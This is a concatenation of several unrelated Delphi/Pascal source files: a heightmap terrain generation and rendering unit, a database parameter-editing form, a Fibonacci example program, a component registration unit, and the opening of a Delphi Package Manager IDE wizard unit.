System.Classes,
System.Math,
Vcl.Graphics,
Vcl.Dialogs,
System.SysUtils,
GR32,
GLVectorTypes,
GLVectorGeometry,
uGrid;
type
TRGBTripleArray = array [0..32767] of TRGBTriple;
THeightmap = class
private
FSizeX, FSizeY : integer;
FBitmap : TBitmap;
// function GetHeightSafe(x, y: integer): single;
function GetNormal(x, y: single): TD3DVector;
public
Scale, SunDirection : TD3DVector;
Height : TSingleGrid;
Slope : TSingleGrid;
Random2D : TSingleGrid;
Shadow : TSingleGrid;
Shade : TSingleGrid;
property Normal[x,y : single] : TD3DVector read GetNormal;
property SizeX : integer read FSizeX;
property SizeY : integer read FSizeY;
procedure NewRandomValues;
constructor Create(SizeX, SizeY : integer);
destructor Destroy; override;//ilh
function IndexFromXY(x,y : integer) : integer;
// Interpolations
function Interpolate(a, b, x : single) : single;
function InterpolateLinear(a, b, x : single) : single;
function InterpolateCos(a, b, x : single) : single;
procedure AddNoise(Frequency : single; Amplitude : single);
procedure Subdivide(Lines : integer; DeltaHeight : single);
procedure ClampToLevel(Level : single);
procedure MakeIsland(Margin : single);
procedure Rescale(NewMin, NewMax : single);
procedure LoadFromFile(fileName : string);
procedure GetHeightExtremes(var MaxHeight, MinHeight : single);
procedure BoxLower(x,y : integer; Depth, Radius : single);
procedure CircleLower(x,y : integer; Depth, Radius : single);
procedure SetupSlope(Threshhold : single);
function CalcSlope(x,y : integer) : single;
function GetSlopeMax : single;
function CalcShadeFor(x, y: integer): single;
procedure SetupShade;
function CalcShadowFor(x,y : integer; MaxHeight : single) : single;
procedure SetupShadows;
procedure RenderTo(Bitmap32: TBitmap32; Water : boolean;WaterLevel : single=0.5);
procedure RenderSlopesTo(Bitmap : TBitmap32);
procedure RenderShadedTo(Bitmap : TBitmap32; Ambient : single=0);
procedure RenderShadowTo(Bitmap : TBitmap32);
end;
TColorModifier = class
Bitmap : TBitmap32;
SingleColor : TColor32;
function GetPixel(x,y : integer) : TColor32;
constructor Create(FileName : string);
destructor Destroy;override;
procedure GetColorAndLerp(x,y : integer; Height, Slope : single; var outColor32 : TColor32; var Lerp : single); virtual;
end;
TColorModifierSlope = class(TColorModifier)
procedure GetColorAndLerp(x,y : integer; Height, Slope : single; var outColor32 : TColor32; var Lerp : single); override;
end;
TColorModifierHeight = class(TColorModifier)
StartHeight : single;
FullOnHeight : single;
StopHeight : single;
FullOffHeight : single;
procedure SetupCurve(StartHeight, FullOnHeight, StopHeight, FullOffHeight : single);
procedure GetColorAndLerp(x,y : integer; Height, Slope : single; var outColor32 : TColor32; var Lerp : single); override;
end;
TColorModifierHandler = class
private
FColorModifierList : TList;
FHeightToBitmapX : single;
FHeightToBitmapY : single;
FDrawingX, FDrawingY : integer;
FNoTexture: boolean;
function GetColorModifier(i: integer): TColorModifier;
procedure SetNoTexture(const Value: boolean);
public
Heightmap : THeightmap;
Shaded : boolean;
Ambient : single;
procedure Add(ColorModifier : TColorModifier);
function Count : integer;
procedure Clear;
constructor Create;
destructor Destroy; override;
function LerpColor32(Color1, Color2 : TColor32; x : single) : TColor32;
procedure RenderToBitmap(Bitmap : TBitmap32);
function GetColor(x,y : single) : TColor32;
property ColorModifier[i : integer] : TColorModifier read GetColorModifier;
property NoTexture : boolean read FNoTexture write SetNoTexture;
end;
//===============================================================
implementation
//===============================================================
{ THeightmap }
procedure THeightmap.AddNoise(Frequency, Amplitude: single);
var
x, y : integer;
px, py : single;
begin
NewRandomValues;
for x := 0 to FSizeX-1 do
begin
px := x/FSizeX;
for y := 0 to FSizeY-1 do
begin
py := y/FSizeY;
Height[x,y] := Height[x,y] + Random2D.InterpolatedCos[px*Frequency,py*Frequency]*Amplitude;
end;
end;
end;
procedure THeightmap.ClampToLevel(Level: single);
var
i : integer;
begin
for i := 0 to Height.TotalSize-1 do
if Height.Storage[i]<Level then
Height.Storage[i] := Level;
end;
constructor THeightmap.Create(SizeX, SizeY: integer);
begin
FSizeX := SizeX;
FSizeY := SizeY;
Height := TSingleGrid.Create(FSizeX, FSizeY);
Random2D := TSingleGrid.Create(FSizeX, FSizeY);
Slope := TSingleGrid.Create(FSizeX, FSizeY);
Shadow := TSingleGrid.Create(FSizeX, FSizeY);
Shade := TSingleGrid.Create(FSizeX, FSizeY);
Height.Clear;
FBitmap:=TBitmap.Create;
FBitmap.PixelFormat:=pf24bit;
FBitmap.Width :=SizeX;
FBitmap.Height:=SizeY;
Scale.X := 1;
Scale.Y := 1;
Scale.Z := FSizeX * 0.1;
// 10% up and down!
// 100m x 100m => 10m up/down
//
SunDirection.X := 1;
SunDirection.Y := 1;
SunDirection.Z := 0.5;
NormalizeVector(SunDirection.v);
end;
destructor THeightmap.Destroy;
begin
Height.Free;
Random2D.Free;
Slope.Free;
Shadow.Free;
Shade.Free;
end;
procedure THeightmap.GetHeightExtremes(var MaxHeight, MinHeight: single);
var
i : integer;
f : single;
begin
MaxHeight := -10000;
MinHeight := 10000;
for i := 0 to Height.TotalSize-1 do
begin
f := Height.Storage[i];
MaxHeight := Max(MaxHeight, f);
MinHeight := Min(MinHeight, f);
end;
if MaxHeight = MinHeight then
begin
MinHeight := 0;
MaxHeight := 1;
end;
end;
procedure THeightmap.BoxLower(x, y: integer; Depth, Radius: single);
var
gx, gy, iRadius : integer;
// px, py, dist2 : single;
// Radius2 : single;
// f, ix : single;
fMax, fMin : single;
begin
GetHeightExtremes(fMax, fMin);
// Radius2 := sqr(Radius);
iRadius := trunc(Radius);
for gx := x-iRadius to x+iRadius do
begin
if gx<0 then continue;
if gx>=FSizeX then continue;
for gy := y-iRadius to y+iRadius do
begin
if gy<0 then continue;
if gy>=FSizeY then continue;
Height[gx,gy] := Height[gx,gy]+Depth;
end;
end;
end;
procedure THeightmap.CircleLower(x,y : integer; Depth, Radius : single);
var
gx, gy, iRadius : integer;
// px, py,
dist2 : single;
Radius2 : single;
f, ix : single;
fMax, fMin : single;
begin
GetHeightExtremes(fMax, fMin);
Radius2 := sqr(Radius);
iRadius := trunc(Radius);
for gx := x-iRadius to x+iRadius do
begin
if gx<0 then continue;
if gx>=FSizeX then continue;
for gy := y-iRadius to y+iRadius do
begin
if gy<0 then continue;
if gy>=FSizeY then continue;
Dist2 := sqr(x-gx)+sqr(y-gy);
if Dist2>=Radius2 then
Continue;
f := Height[gx,gy];
ix := sqrt(Dist2)/Radius;
f := max(fMin, InterpolateCos(f+depth, f, ix));
Height[gx,gy] := f;
end;
end;
end;
function THeightmap.Interpolate(a, b, x: single): single;
begin
//result := InterpolateLinear(a,b,x);
result := InterpolateCos(a,b,x);
end;
{ function Cosine_Interpolate(a, b, x)
ft = x * 3.1415927
f = (1 - cos(ft)) * .5
return a*(1-f) + b*f
end of function//}
function THeightmap.InterpolateCos(a, b, x: single): single;
var
ft,f : single;
begin
ft := x * Pi;
f := (1-cos(ft))*0.5;
result := a*(1-f)+b*f;
end;
function THeightmap.InterpolateLinear(a, b, x: single): single;
begin
result := a*(1-x)+b*x;
end;
{ function Noise1(integer x, integer y)
n = x + y * 57
n = (n<<13) ^ n;
return ( 1.0 - ( (n * (n * n * 15731 + 789221) + 1376312589) & 7fffffff) / 1073741824.0);
end function//}
procedure THeightmap.MakeIsland(Margin : single);
var
x, y : integer;
px, py : single;
maxx, maxy : single;
pmax : single;
BottomMarginY, TopMarginY,
LeftMarginX, RightMarginX : single;
begin
LeftMarginX := Margin*FSizeX;
RightMarginX := FSizeX-Margin*FSizeX;
TopMarginY := Margin*FSizeY;
BottomMarginY := FSizeY-Margin*FSizeY;
GetHeightExtremes(MaxX, MaxY);
for x := 0 to FSizeX-1 do
begin
if x<LeftMarginX then
px := x/LeftMarginX
else if x>RightMarginX then
px := 1 - (x-RightMarginX)/LeftMarginX
else
px := 1;
for y := 0 to FSizeY-1 do
begin
if y<TopMarginY then
py := y/TopMarginY
else if y>BottomMarginY then
py := 1-(y-BottomMarginY)/TopMarginY
else
py := 1;
pmax := min(px,py);
Height[x,y] := InterpolateCos(MaxY, Height[x,y], pmax);
end;
end;//}
end;
procedure THeightmap.NewRandomValues;
var
i : integer;
begin
// Create a lot of random values for the perlin noise
for i := 0 to Random2D.TotalSize-1 do
Random2D.Storage[i] := 2*random-1;
end;
procedure THeightmap.RenderTo(Bitmap32: TBitmap32; Water : boolean; WaterLevel : single=0.5);
var
f : single;
b : byte;
x,y : integer;
fMax, fMin : single;
// AdjustedWaterLevel : single;
begin
GetHeightExtremes(fMax, fMin);
// AdjustedWaterLevel := (WaterLevel-fMin)/(fMax-fMin);
Bitmap32.Clear;
for y := 0 to FSizey-1 do
begin
for x := 0 to FSizeX-1 do
begin
// Make sure that we get a value in the range 0 to 1
f := (Height[x,y]-fMin)/(fMax-fMin);
if not Water then
begin
b := trunc(f*255);
Bitmap32.Pixel[x,y] := Color32(b,b,b);
end else
if Height[x,y]<=WaterLevel then
begin
//b := trunc(f*255);
Bitmap32.Pixel[x,y] :=Color32(0,0,0);
//ilh to make Black rather than red Color32(255,b,b);
end else
begin
f := (Height[x,y]-WaterLevel)/(fMax-WaterLevel);
b := trunc(f*255);
Bitmap32.Pixel[x,y] := Color32(b,b,b);
end;//}
end;
end;
end;
procedure THeightmap.Rescale(NewMin, NewMax: single);
var
x,y : integer;
f, fMax, fMin : single;
begin
GetHeightExtremes(fMax, fMin);
for y := 0 to FSizey-1 do
begin
for x := 0 to FSizeX-1 do
begin
// Make sure that we get a value in the range 0 to 1
f := (Height[x,y]-fMin)/(fMax-fMin);
f := f*(NewMax-NewMin) + NewMin;
Height[x,y] := f;
end;
end;
end;
function THeightmap.CalcSlope(x, y: integer): single;
var
ThisHeight : single;
Slope : single;
gx, gy : integer;
begin
// Slope = the highest delta height of the eight neighbours of this node!
ThisHeight := Height[x,y];
Slope := 0;
for gx := x-1 to x+1 do
begin
if gx<0 then continue;
if gx>=FSizeX then continue;
for gy := y-1 to y+1 do
begin
if gy<0 then continue;
if gy>=FSizeY then continue;
Slope := max(Slope, abs(ThisHeight-Height[gx, gy]));
end;
end;
result := Slope;
end;
procedure THeightmap.SetupSlope(Threshhold : single);
var
// i,
x, y : integer;
f : single;
fMaxSlope, fNewMaxSlope : single;
begin
Slope.Clear;
// f := 0;
fMaxSlope := 0;
fNewMaxSlope := 0;
for y := 0 to FSizey-1 do
begin
for x := 0 to FSizeX-1 do
begin
f := CalcSlope(x,y);
fMaxSlope := max(abs(f), fMaxSlope);
Slope[x,y] := f;
end;
end;
for y := 0 to FSizey-1 do
begin
for x := 0 to FSizeX-1 do
begin
f := Slope[x,y]/fMaxSlope;
if f<Threshhold then
f := 0
else
f := (f-Threshhold)/(1-Threshhold);
Slope[x,y] := f;
fNewMaxSlope := max(fNewMaxSlope, f);
end
end;
end;
function THeightmap.IndexFromXY(x, y: integer): integer;
begin
result := x+y*SizeX;
end;
procedure THeightmap.RenderSlopesTo(Bitmap : TBitmap32);
var
f : single;
x, y : integer;
hx, hy : single;
b : byte;
// ThisNormal : TD3DVector;
FHeightToBitmapX, FHeightToBitmapY : single;
begin
Bitmap.Clear(Color32(0,0,0));
FHeightToBitmapX := (SizeX/Bitmap.Width);
FHeightToBitmapY := (SizeY/Bitmap.Height);
for x := 0 to Bitmap.Width-1 do
begin
for y := 0 to Bitmap.Height-1 do
begin
hx := x * FHeightToBitmapX;
hy := y * FHeightToBitmapY;
f := Slope.InterpolatedCos[hx, hy];
b := trunc(255*f);
Bitmap.Pixels[x,y] := Color32(b,b,b);
end;
end;
end;
function THeightmap.GetSlopeMax: single;
var
i : integer;
begin
result := 0;
for i := 0 to Slope.TotalSize-1 do
result := max(result, single(Slope.Storage[i]));
end;
{function THeightmap.GetHeightSafe(x, y: integer): single;
begin
if x<0 then x :=0;
if x>=FSizeX then x:=FSizeX-1;
if y<0 then y :=0;
if y>=FSizeY then y:=FSizeY-1;
result := Height[x,y];
end; }
procedure THeightmap.RenderShadedTo(Bitmap : TBitmap32; Ambient : single=0);
var
f : single;
x, y : integer;
hx, hy : single;
b : byte;
// ThisNormal : TD3DVector;
FHeightToBitmapX, FHeightToBitmapY : single;
begin
Bitmap.Clear(Color32(0,0,0));
FHeightToBitmapX := (SizeX/Bitmap.Width);
FHeightToBitmapY := (SizeY/Bitmap.Height);
for x := 0 to Bitmap.Width-1 do
begin
for y := 0 to Bitmap.Height-1 do
begin
hx := x * FHeightToBitmapX;
hy := y * FHeightToBitmapY;
f := (1-Ambient) * Shade.InterpolatedCos[hx, hy] + Ambient;
b := trunc(255*f);
Bitmap.Pixels[x,y] := Color32(b,b,b);
end;
end;
end;
function THeightmap.GetNormal(x, y: single): TD3DVector;
function GetNormalHelper(x,y : integer) : TD3DVector;
var
dx, dy : Single;
begin
if (x>=SizeX) or (y>=SizeY) or (x<0) or (y<0) then
begin
result.x:=0;
result.x:=0;
result.z:=1;
exit;
end;
if x>0 then
if x<SizeX-1 then
dx:=(Height[x+1, y]-Height[x-1, y])*scale.v.X*scale.v.Z
else dx:=(Height[x, y]-Height[x-1, y])*scale.v.X*scale.v.Z
else dx:=(Height[x+1, y]-Height[x, y])*scale.v.X*scale.v.Z;
if y>0 then
if y<SizeY-1 then
dy:=(Height[x, y+1]-Height[x, y-1])*scale.v.Y*scale.v.Z
else dy:=(Height[x, y]-Height[x, y-1])*scale.v.Y*scale.v.Z
else
dy:=(Height[x, y+1]-Height[x, y])*scale.v.Y*scale.v.Z;
Result.v.X:=dx;
Result.v.Y:=dy;
Result.v.Z:=1;
NormalizeVector(Result.v);
end;
var
intX, intY : integer;
fractX, fractY : single;
n1, n2, n3, n4, i1, i2 : TD3DVector;
begin
intX := trunc(x); fractX := x-intX;
intY := trunc(y); fractY := y-intY;
// result := GetNormalHelper(intX, intY);
n1 := GetNormalHelper(intX, intY);
n2 := GetNormalHelper(intX, intY+1);
n3 := GetNormalHelper(intX+1, intY);
n4 := GetNormalHelper(intX+1, intY+1);
n1 := GetNormalHelper(intX, intY);
n2 := GetNormalHelper(intX+1, intY);
n3 := GetNormalHelper(intX, intY+1);
n4 := GetNormalHelper(intX+1, intY+1);
i1.v := VectorLerp(n1.v, n2.v, fractX);
i2.v := VectorLerp(n3.v, n4.v, fractX);
result.v := VectorLerp(i1.v, i2.v, fractY);//}
end;
function THeightmap.CalcShadeFor(x, y: integer): single;
var
ThisNormal : TD3DVector;
f : single;
begin
ThisNormal := Normal[x, y];
f := VectorDotProduct(ThisNormal.v, SunDirection.v);
if f<0 then f := 0;
if f>1 then f := 1;//}
result := f;
end;
procedure THeightmap.Subdivide(Lines: integer; DeltaHeight: single);
procedure RandomKAndM(var k,m : single);
var
x1,y1,
x2,y2 : single;
begin
repeat
x1 := random(FSizeX);
y1 := random(FSizeY);
x2 := random(FSizeX);
y2 := random(FSizeY);
until x1<>x2;
k := (y1-y2)/(x1-x2);
m := y1-k*x1;
end;
var
k,m : single;
i,x,y : integer;
Left : boolean;
Elevate : boolean;
begin
for i := 0 to Lines-1 do
begin
RandomKAndM(k,m);
Left := random>0.5;
for x := 0 to FSizeX-1 do
for y := 0 to FSizeY-1 do
begin
Elevate := (x>k*y+m);
if Left then
Elevate := not Elevate;
if Elevate then
Height[x,y] := Height[x,y]+DeltaHeight
else
Height[x,y] := Height[x,y]-DeltaHeight
end;
end;
end;
procedure THeightmap.LoadFromFile(fileName: string);
var
Bitmap32 : TBitmap32;
x,y : integer;
Color : TColor32;
// i, c : byte;
BitArray : set of Byte;
begin
Bitmap32 := TBitmap32.Create;
Bitmap32.SetSize(SizeX, SizeY);
try
Bitmap32.LoadFromFile(fileName);
for x := 0 to SizeX-1 do
for y := 0 to SizeY-1 do
begin
Color := Bitmap32.Pixels[x,y];
Height[x,y] := RedComponent(Color) / 255;
BitArray := BitArray + [RedComponent(Color)];
end;
{ c := 0;
for i := 0 to 255 do
if i in BitArray then inc(c);}
//ShowMessage(inttostr(c));
finally
Bitmap32.Free;
end;
end;
procedure THeightmap.RenderShadowTo(Bitmap: TBitmap32);
var
f : single;
x, y : integer;
hx, hy : single;
b : byte;
// ThisNormal : TD3DVector;
FHeightToBitmapX, FHeightToBitmapY : single;
begin
Bitmap.Clear(Color32(0,0,0));
FHeightToBitmapX := (SizeX/Bitmap.Width);
FHeightToBitmapY := (SizeY/Bitmap.Height);
for x := 0 to Bitmap.Width-1 do
begin
for y := 0 to Bitmap.Height-1 do
begin
hx := x * FHeightToBitmapX;
hy := y * FHeightToBitmapY;
//f := (1-Ambient) * Shade[hx, hy] + Ambient;
f := 1-Shadow.InterpolatedCos[hx, hy];
b := trunc(255*f);
Bitmap.Pixels[x,y] := Color32(b,b,b);
end;
end;
end;
procedure THeightmap.SetupShadows;
var
maxh, minh : single;
x, y : integer;
begin
GetHeightExtremes(maxh, minh);
for x := 0 to FSizeX-1 do
for y := 0 to FSizeY-1 do
Shadow[x,y] := CalcShadowFor(x,y, maxh);//}
Shadow.AntiAlias(0.1);
Shadow.AntiAlias(0.1);
Shadow.AntiAlias(0.1);
end;
function THeightmap.CalcShadowFor(x, y: integer; MaxHeight : single): single;
var
k1,k2 : single;
Move : TD3DVector;
GroundHeight : single;
MaxGroundHeight : single;
CurrentRayHeight : single;
Ray : TD3DVector;
rx, ry : integer;
ThisHeight : single;
function IsInRange : boolean;
begin
result := Shadow.InRange(trunc(x+Move.x), trunc(y+Move.y));
if CurrentRayHeight > MaxGroundHeight then
result := false;//}
end;
begin
result := 0;
Ray := SunDirection;
ScaleVector(Ray.v,-1);
GroundHeight := Height[x,y] * Scale.z;
MaxGroundHeight := MaxHeight * Scale.z;
// Walk the X line
MakeVector(Move.v,0,0,0);
if Ray.x<>0 then
begin
k1 := Ray.y/Ray.x;
k2 := Ray.z/Ray.x;
while IsInRange do
begin
if Ray.x>0 then
Move.x := Move.x + 1
else
Move.x := Move.x - 1;
Move.y := Move.x * k1;
Move.z := Move.x * k2;
rx := trunc(x+Move.x);
ry := trunc(y+Move.y);
if x=rx then
continue;
if not IsInRange then
break;
ThisHeight := Height[rx, ry] * Scale.z;
CurrentRayHeight := GroundHeight-Move.z;
// Is the horizon below the sunray?
if ThisHeight>CurrentRayHeight then
begin
result := 1;
exit;
end;
end;
end;//}
// Walk the Y line
MakeVector(Move.v,0,0,0);
if Ray.y<>0 then
begin
k1 := Ray.x/Ray.y;
k2 := Ray.z/Ray.y;
while IsInRange do
begin
if Ray.y>0 then
Move.y := Move.y + 1
else
Move.y := Move.y - 1;
Move.x := Move.y * k1;
Move.z := Move.y * k2;
rx := trunc(x+Move.x);
ry := trunc(y+Move.y);
if y = ry then
continue;
if not IsInRange then
break;
ThisHeight := Height[rx, ry] * Scale.z;
CurrentRayHeight := GroundHeight-Move.z;
// Is the horizon below the sunray?
if ThisHeight>CurrentRayHeight then
begin
result := 1;
exit;
end;
end;
end;//}
end;
procedure THeightmap.SetupShade;
var
// maxh, minh : single;
x, y : integer;
begin
for x := 0 to FSizeX-1 do
for y := 0 to FSizeY-1 do
Shade[x,y] := CalcShadeFor(x,y);//}
Shade.AntiAlias(0.5);
{ Shade.AntiAlias(0.5);
Shade.AntiAlias(0.1);
Shade.AntiAlias(0.1);//}
end;
{ TColorModifier }
constructor TColorModifier.Create(FileName: string);
begin
if FileName<>'' then
begin
Bitmap := TBitmap32.Create;
Bitmap.LoadFromFile(FileName);
end;
end;
destructor TColorModifier.Destroy;
begin
Bitmap.Free;
inherited;
end;
procedure TColorModifier.GetColorAndLerp(x, y: integer; Height,
Slope: single; var outColor32: TColor32; var Lerp: single);
begin
outColor32 := Color32(trunc(255*Height), trunc(255*Height), trunc(255*Height));
Lerp := 1;
//result := Color32(trunc(255*Slope), trunc(255*Slope), trunc(255*Slope));
//Result := ColorModifier[0].GetPixel(FDrawingX,FDrawingY)
end;
function TColorModifier.GetPixel(x, y: integer): TColor32;
var
modY, modX : integer;
begin
if Bitmap=nil then
begin
result := SingleColor;
end else
begin
modY := y mod Bitmap.Height;
modX := x mod Bitmap.Width;
result := Bitmap.Pixel[modx, mody];
end;
end;
{ TColorModifierHandler }
procedure TColorModifierHandler.Add(ColorModifier: TColorModifier);
begin
FColorModifierList.Add(ColorModifier);
end;
procedure TColorModifierHandler.Clear;
var
i : integer;
begin
for i := 0 to Count-1 do
ColorModifier[i].Free;
FColorModifierList.Clear;
end;
function TColorModifierHandler.Count: integer;
begin
result := FColorModifierList.Count;
end;
constructor TColorModifierHandler.Create;
begin
Ambient := 0.1;
Shaded := false;
FColorModifierList := TList.Create;
end;
destructor TColorModifierHandler.Destroy;
begin
Clear;
FColorModifierList.Free;
inherited;
end;
function TColorModifierHandler.GetColor(x, y: single): TColor32;
var
i : integer;
Height : single;
Slope : single;
// MustLerp : boolean;
resColor32 : TColor32;
newColor32 : TColor32;
Lerp : single;
LerpSum : single;
CM : TColorModifier;
begin
Slope := HeightMap.Slope[trunc(x), trunc(y)];
//Height := HeightMap.Height[trunc(x), trunc(y)];
Height := HeightMap.Height.InterpolatedCos[x,y];
resColor32 := Color32(0,0,0);
// MustLerp := false;
LerpSum := 0;
if Height=0.6 then
LerpSum:=0;
for i := 0 to Count-1 do
begin
CM := ColorModifier[i];
CM.GetColorAndLerp(FDrawingX, FDrawingY, Height, Slope, newColor32, Lerp);
LerpSum := LerpSum + Lerp;
if NoTexture then
newColor32 := CM.SingleColor;
resColor32 := LerpColor32(newColor32, resColor32, Lerp);
end;
result := resColor32;
Assert(LerpSum>0, Format('Height %f not handled!',[Height]));
end;
function TColorModifierHandler.GetColorModifier(
i: integer): TColorModifier;
begin
result := TColorModifier(FColorModifierList[i]);
end;
function TColorModifierHandler.LerpColor32(Color1, Color2: TColor32;
x: single): TColor32;
var
r,g,b : byte;
begin
Assert(x>=0,'Lerp x must be >= 0');
Assert(x<=1,'Lerp x must be <= 1');
r := trunc(RedComponent(Color1)*x+RedComponent(Color2)*(1-x));
g := trunc(GreenComponent(Color1)*x+GreenComponent(Color2)*(1-x));
b := trunc(BlueComponent(Color1)*x+BlueComponent(Color2)*(1-x));
result := Color32(r,g,b);
end;
procedure TColorModifierHandler.RenderToBitmap(Bitmap: TBitmap32);
var
x, y : integer;
hx, hy : single;
Color : TColor32;
Shade : single;
ShadowShade : single;
begin
Bitmap.Clear(clBlack32);
FHeightToBitmapX := (HeightMap.SizeX/Bitmap.Width);
FHeightToBitmapY := (HeightMap.SizeY/Bitmap.Height);
for x := 0 to Bitmap.Width-1 do
begin
for y := 0 to Bitmap.Height-1 do
begin
FDrawingX := x;
FDrawingY := y;
hx := FDrawingX * FHeightToBitmapX;
hy := FDrawingY * FHeightToBitmapY;
Color := GetColor(hx,hy);
if Shaded then
begin
Shade := Heightmap.Shade.InterpolatedCos[hx,hy];
//Shade := min(1, Shade);
ShadowShade := 1-Heightmap.Shadow.InterpolatedCos[hx, hy];
Shade := min(Shade, ShadowShade);
// Use the ambient light
Shade := (Shade*(1-Ambient))+Ambient;
if Shade=0 then
Color := clGreen32
else
Color := LerpColor32(Color, clBlack32, Shade);
end;
Bitmap.Pixel[FDrawingX,FDrawingY] := Color;
end;
end;
end;
procedure TColorModifierHandler.SetNoTexture(const Value: boolean);
begin
FNoTexture := Value;
end;
{ TColorModifierHeight }
procedure TColorModifierHeight.GetColorAndLerp(x, y: integer; Height,
Slope: single; var outColor32: TColor32; var Lerp: single);
begin
// Assume no influence
Lerp := 0;
outColor32 := GetPixel(x,y);
if (Height>=StartHeight) and (Height<=FullOnHeight) then
begin
Lerp := (Height-StartHeight)/(FullOnHeight-StartHeight);
exit;
end;
if (Height>=FullOnHeight) and (Height<=StopHeight) then
begin
Lerp := 1;
exit;
end;
if (Height>=StopHeight) and (Height<=FullOffHeight) then
begin
Lerp := 1-(Height-StopHeight)/(FullOffHeight-StopHeight);
exit;
end;//}
end;
procedure TColorModifierHeight.SetupCurve(StartHeight, FullOnHeight,
StopHeight, FullOffHeight: single);
begin
self.StartHeight := StartHeight;
self.FullOnHeight := FullOnHeight;
self.StopHeight := StopHeight;
self.FullOffHeight := FullOffHeight;
end;
{ TColorModifierSlope }
procedure TColorModifierSlope.GetColorAndLerp(x, y: integer; Height,
Slope: single; var outColor32: TColor32; var Lerp: single);
begin
inherited;
outColor32 := GetPixel(x,y);
Lerp := slope+0.2;
if Lerp>1 then
Lerp := 1;
end;
end.
|
unit uFrmParameter;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
PAIDETODOS, StdCtrls, DBCtrls, DB, DBTables, Grids,
LblEffct, ExtCtrls, Buttons, ADODB, siComp, siLangRT, DBGrids, SMDBGrid,
cxStyles, cxCustomData, cxGraphics, cxFilter, cxData, cxEdit, cxDBData,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGridLevel,
cxClasses, cxControls, cxGridCustomView, cxGrid;
type
TFrmParameter = class(TFrmParent)
dsParam: TDataSource;
memoDescription: TDBMemo;
quParam: TADOQuery;
quParamSrvParameter: TStringField;
quParamSrvValue: TStringField;
quParamDescription: TStringField;
quParamDefaultValue: TStringField;
quParamSrvType: TStringField;
spHelp: TSpeedButton;
grdParameterDBTV: TcxGridDBTableView;
grdParameterLevel: TcxGridLevel;
grdParameter: TcxGrid;
grdParameterDBTVSrvParameter: TcxGridDBColumn;
grdParameterDBTVSrvValue: TcxGridDBColumn;
grdParameterDBTVDefaultValue: TcxGridDBColumn;
quParamMenuName: TStringField;
grdParameterDBMenuName: TcxGridDBColumn;
quParamIDParam: TIntegerField;
grdParameterDBTVIDParam: TcxGridDBColumn;
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btCloseClick(Sender: TObject);
procedure spHelpClick(Sender: TObject);
procedure quParamSrvValueValidate(Sender: TField);
private
bParamError : Boolean;
procedure ParamClose;
procedure ParamPost;
procedure ParamOpen;
public
{ Public declarations }
end;
var
FrmParameter: TFrmParameter;
implementation
uses uMsgBox, uDM, uMsgConstant, uDMGlobal;
{$R *.DFM}
procedure TFrmParameter.ParamClose;
begin
ParamPost;
with quParam do
if Active then
Close;
end;
procedure TFrmParameter.ParamOpen;
begin
with quParam do
if not Active then
begin
Parameters.ParamByName('IDLanguage').Value := DMGlobal.IDLanguage;
Parameters.ParamByName('MIDLanguage').Value := DMGlobal.IDLanguage;
Open;
end;
end;
procedure TFrmParameter.ParamPost;
begin
with quParam do
if Active then
if State in dsEditModes then
begin
Post;
MsgBox(MSG_INF_CHANGES_SYS, vbOkOnly + vbInformation);
end;
end;
procedure TFrmParameter.FormShow(Sender: TObject);
begin
inherited;
ParamOpen;
end;
procedure TFrmParameter.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
inherited;
Action := caFree;
end;
procedure TFrmParameter.btCloseClick(Sender: TObject);
begin
inherited;
if bParamError then
MsgBox(MSG_CRT_ERROR_VALUE, vbOkOnly);
ParamClose;
Close;
end;
procedure TFrmParameter.spHelpClick(Sender: TObject);
begin
inherited;
Application.HelpContext(2050);
end;
procedure TFrmParameter.quParamSrvValueValidate(Sender: TField);
var
VarInt : Integer;
VarFloat : Real;
begin
try
bParamError := False;
if Trim(quParamSrvType.text) = 'Integer' then
VarInt := StrToInt (quParamSrvValue.Text)
else
if Trim(quParamSrvType.text) = 'Float' then
VarFloat := StrToFloat(quParamSrvValue.Text)
else
if Trim(quParamSrvType.text) = 'Boolean' then
if (LowerCase(quParamSrvValue.Text) <> 'true') and
(LowerCase(quParamSrvValue.Text) <> 'false') then
strToInt('a'); //Forco um erro
except
MsgBox ('Invalid Value', vbOkOnly);
bParamError := True;
end;
end;
end.
|
// -------------------------------------------------------------
// Programa que mostra a série de Fibonacci até o termo informado
// pelo usuário. Na série de Fibonacci cada elemento é dado pela
// soma dos 2 anteriores. :~
//
// Autor : Rodrigo Garé Pissarro - Beta Tester
// Contato : rodrigogare@uol.com.br
// -------------------------------------------------------------
Program ExemploPzim ;
Var anterior1, anterior2, proximo: integer ;
i: integer ;
N: integer;
Begin
// Solicita o número de elementos da série
write('Informe o valor de N: ');
readln(N);
// Imprime primeiros dois elementos da série
anterior1:=1;
anterior2:=1;
write('1 1');
// Cálculo da série
i:=3;
while ( i <= N ) do begin
proximo:= anterior1 + anterior2;
write(' ', proximo);
anterior2:= anterior1;
anterior1:= proximo;
i:= i+1;
end;
End.
|
unit LrBarReg;
interface
procedure Register;
implementation
uses
Classes, LrBar, LrCollapsable;
procedure Register;
begin
RegisterComponents('LR', [ TLrBar, TLrGroup, TLrCollapsable ]);
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.IDE.Wizard;
interface
uses
ToolsApi,
Vcl.ActnList,
Vcl.ImgList,
Vcl.Controls,
Spring.Container,
DPM.IDE.Logger,
DPM.IDE.MessageService,
DPM.IDE.ProjectTreeManager,
DPM.IDE.EditorViewManager;
type
TDPMWizard = class(TInterfacedObject, IOTANotifier, IOTAWizard)
private
FStorageNotifierID : integer;
FIDENotifier : integer;
FProjectMenuNoftifierId : integer;
FThemeChangeNotifierId : integer;
FEditorViewManager : IDPMEditorViewManager;
FDPMIDEMessageService : IDPMIDEMessageService;
FLogger : IDPMIDELogger;
FContainer : TContainer;
procedure InitContainer;
protected
